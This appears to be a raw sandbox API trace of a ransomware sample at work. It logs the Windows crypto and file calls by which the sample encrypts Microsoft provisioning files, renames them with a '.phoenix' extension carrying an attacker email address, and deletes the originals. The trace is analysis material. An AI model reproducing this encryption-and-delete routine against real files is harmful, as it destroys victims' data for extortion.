	[0235.255] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.258] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0235.258] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.258] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d4, lpOverlapped=0x0) returned 1
	[0235.771] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0235.771] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0235.772] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0235.772] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.772] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0235.772] CryptDestroyKey (hKey=0x151440) returned 1
	[0235.772] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0235.772] CryptDestroyKey (hKey=0x151380) returned 1
	[0235.772] CloseHandle (hObject=0x2f4) returned 1
	[0235.772] CloseHandle (hObject=0x2d4) returned 1
	[0235.772] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml")) returned 1
	[0235.773] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.773] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.773] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=472) returned 1
	[0235.773] CloseHandle (hObject=0x2d4) returned 1
	[0235.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0235.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.774] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.774] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.774] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.774] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.774] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0235.774] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.774] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d8, lpOverlapped=0x0) returned 1
	[0235.778] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0235.778] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0235.779] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0235.779] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.779] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0235.779] CryptDestroyKey (hKey=0x151500) returned 1
	[0235.779] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0235.780] CryptDestroyKey (hKey=0x151640) returned 1
	[0235.780] CloseHandle (hObject=0x2d4) returned 1
	[0235.780] CloseHandle (hObject=0x2f4) returned 1
	[0235.780] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0235.782] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.782] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=669) returned 1
	[0235.782] CloseHandle (hObject=0x2f4) returned 1
	[0235.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0235.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.782] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.782] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.783] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0235.783] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.783] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x29d, lpOverlapped=0x0) returned 1
	[0235.830] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0235.830] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0235.831] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0235.831] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.831] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0235.831] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0235.831] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0235.831] CryptDestroyKey (hKey=0x151040) returned 1
	[0235.831] CloseHandle (hObject=0x2f4) returned 1
	[0235.831] CloseHandle (hObject=0x2d4) returned 1
	[0235.832] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml")) returned 1
	[0235.833] SetEvent (hEvent=0x278) returned 1
	[0235.833] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.833] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.833] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=665) returned 1
	[0235.833] CloseHandle (hObject=0x2d4) returned 1
	[0235.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0235.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.833] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.833] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.833] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.833] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.834] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0235.834] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.834] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x299, lpOverlapped=0x0) returned 1
	[0235.958] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0235.958] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0235.958] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0235.958] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.958] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0235.958] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0235.959] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0235.959] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0235.959] CloseHandle (hObject=0x2d4) returned 1
	[0235.959] CloseHandle (hObject=0x2f4) returned 1
	[0235.959] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml")) returned 1
	[0235.960] SetEvent (hEvent=0x278) returned 1
	[0235.960] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.960] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.960] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=660) returned 1
	[0235.960] CloseHandle (hObject=0x2f4) returned 1
	[0235.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0235.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.960] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.961] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.961] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.961] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.961] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0235.961] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.961] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x294, lpOverlapped=0x0) returned 1
	[0236.042] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0236.042] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0236.043] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0236.043] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
